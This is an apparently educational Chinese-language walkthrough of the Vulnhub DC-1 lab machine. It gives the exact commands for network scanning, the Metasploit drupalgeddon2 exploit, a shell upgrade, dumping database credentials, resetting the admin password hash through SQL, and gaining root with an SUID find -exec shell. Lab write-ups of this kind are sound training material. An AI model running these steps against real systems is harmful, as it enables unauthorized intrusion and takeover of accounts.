DC1靶机渗透测试
Vuln hub 滲透測試實戰
Vulnhub是一個開放的安全靶場,我們可以使用它所提供的環境進行滲透測試實戰。
DC所有環境下載地址:https://www.vulnhub.com/series/dc,199/
環境搭建:
1.下載 OVA(Open Virtualization Appliance:開放虛擬化設備)https://www.vulnhub.com/entry/dc-1-1,292/
2.拖入 VMware 打開,配置相關設置,開啟運行
3.打開 Kali Linux
進行滲透
1.探測存活目標
有很多方式進行探測,這里我使用 arp scan(速度較快)
使用 arp-scan 進行內網探測主機
arp-scan -l
發現有 119 為 Vmware Inc,疑似可以進行滲透
2.探測目標開放端口
探測網段內所有主機是否開啟22,23,3306,80端口,若開啟則列出詳細信息
nmap -sV -p 22,23,3306,80 192.168.1.0/24
發現該主機開放 80 端口,使用了 Apache 服務,可以對其進行滲透測試
3.訪問該主機
發現 Drupal 框架,使用 msf 工具進行攻擊(msf將多數漏洞集成了模塊可以直接使用)
漏洞利用
1.打開 msfconsole 查找 drupal 相關模塊
msfconsole #打開 msf 工具
2.尋找 drupal 相關模塊
search drupal #尋找 drupal 相關模塊
優先使用 時間新,rank高的模塊(或自己根據情況進行判斷)
3.使用相關模塊
msf> use exploit/unix/webapp/drupal_drupalgeddon2 #使用該模塊
4.查看所有設置
msf exploit> show options #顯示所有設置
Required 為 yes 是需要配置的項,這里只有 RHOSTS (目標 ip 地址)沒有設置
5.設置目標 ip 并執行
set rhosts 192.168.1.119 #設置目標 ip
run #開始攻擊
如果成功就會拿到對方的 shell ,輸入 shell 命令得到對方命令窗口,ls 發現 flag1
6.使用 cat 打印出 flag1 內容,發現下一步提示 “配置文件”
(每個好的CMS都需要一個配置文件,你也需要一個配置文件。)
7.找到配置文件,在 www 目錄 ls 發現 sites 目錄,進入目錄
8.找到配置文件,使用 cat 打印,發現 flag2 ,及 mysql 用戶名和密碼
(蠻力和字典攻擊不是獲得訪問的唯一方法(您將需要訪問)。您可以使用這些憑據做什么?)
9.根據上一步提示我們來看一下數據庫
因為當前 shell 沒有提示,所以我們使用 python 彈回一個新 shell
python -c 'import pty;pty.spawn("/bin/sh")'
輸入賬號密碼,進入數據庫
查看信息:
mysql> show databases; #列出所有數據庫
mysql> use drupaldb; #進入 drupaldb 數據庫
mysql> show tables; #列出當前數據庫所有表
select * from users; #列出 users 表中所有內容
發現有用戶名及密碼 hash 值
10.更改 admin 密碼
退出 mysql 命令行,測試 find 命令是否能夠使用并進行利用
compgen -c #查看當前可用命令
find / -name "*pass*" #查看所有帶有pass的文件
發現 find 命令可以使用,查找所有帶有 pass 的文件,發現 www 目錄下有 /var/www/scripts/password-hash.sh 文件,使用 cat 打印
#!/usr/bin/php
<?php/*** Drupal hash script - to generate a hash from a plaintext password** Check for your PHP interpreter - on Windows you'll probably have to* replace line 1 with* #!c:/program files/php/php.exe** @param password1 [password2 [password3 ...]]* Plain-text passwords in quotes (or with spaces backslash escaped).*/if (version_compare(PHP_VERSION, "5.2.0", "<")) {$version = PHP_VERSION;echo <<<EOFERROR: This script requires at least PHP version 5.2.0. You invoked it withPHP version {$version}.
\n
EOF;exit;
}$script = basename(array_shift($_SERVER['argv']));if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {echo <<<EOFGenerate Drupal password hashes from the shell.Usage: {$script} [OPTIONS] "<plan-text password>"
Example: {$script} "mynewpassword"All arguments are long options.--help Print this page.--root <path>Set the working directory for the script to the specified path.To execute this script this has to be the root directory of yourDrupal installation, e.g. /home/www/foo/drupal (assuming Drupalrunning on Unix). Use surrounding quotation marks on Windows."<password1>" ["<password2>" ["<password3>" ...]]One or more plan-text passwords enclosed by double quotes. Theoutput hash may be manually entered into the {users}.pass field tochange a password via SQL to a known value.To run this script without the --root argument invoke it from the root directory
of your Drupal installation as./scripts/{$script}
\n
EOF;exit;
}$passwords = array();// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {switch ($param) {case '--root':// Change the working directory.$path = array_shift($_SERVER['argv']);if (is_dir($path)) {chdir($path);}break;default:// Add a password to the list to be processed.$passwords[] = $param;break;}
}define('DRUPAL_ROOT', getcwd());include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';foreach ($passwords as $password) {print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");
分析代碼發現是生成 hash 值的 PHP 代碼,使用方法:
php scripts/password-hash.sh + 轉換hash的值
使用該代碼將 123456 的 hash 列出
重新進入數據庫,update 進行更新 admin 用戶密碼
update drupaldb.users set pass = '$S$DVtWXRBEHZhH2qEOet/QhIN0m6meN5nNsKLAkioBygXI8PBuQAtF' where name = 'admin';
11.使用用戶名密碼登入 Drupal cms,在 Dashboard 找到 flag3
flag3:Special PERMS will help FIND the passwd - but yo 'll need to -exec that command to work out how to get what’sin the shadow.
特殊的 perms 會幫助你找到通行證,但是你需要執行 -exec 這個命令才能弄清楚如何在 shadow 中得到什么。
12.根據上一步提示來獲取 root 權限(SUID提權)
SUID可以讓調用者以文件擁有者的身份運行該文件,
所以我們利用SUID提權的思路就是運行root用戶所擁有的SUID的文件,
那么我們運行該文件的時候就得獲得root用戶的身份了。
以下3條命令根據個人情況自行選擇,我這里選擇第一個
find / -user root -perm -4000 -print 2>/dev/null 或
find / -perm -u=s -type f 2>/dev/null 或
find / -user root -perm -4000 -exec ls -ldb {} \;
#使用 find 查找 root 用戶創建權限 4000 的文件
/ 表示從系統的根目錄開始遍歷所有目錄
-perm 表示搜索的權限
-user root 或 -u=s表示查找 root 用戶擁有的文件
-type 表示尋找的文件類型
f 表示常規文件,而不是目錄或特殊文件
2表示該進程的第二個文件描述符,即stderr(標準錯誤)
>表示重定向
利用find執行進行提權
find flag1.txt -exec whoami \; #查看創建 flag1.txt 文件用戶的權限
find flag1.txt -exec '/bin/sh' \; #使用 find 以 flag1.txt 創建者身份回彈 shell
使用 find 命令查找 flag,發現 flag4 和 thefinalflag
flag4:
是否可以使用相同的方法查找或訪問根中的標志?可能吧。但也許沒那么容易還是很容易?
(正常方法或許是進入 flag4 用戶,我這直接獲取了 root 權限)
thefinalflag:
干得好!
希望你已經享受了這一切,并學到了一些新的技巧。你可以通過 twitter -@DCAU7 聯系我,讓我知道你對這段小旅程的看法。
總結
- 上一篇: Cobalt Strike 的安装与简单
- 下一篇: DC2靶机渗透测试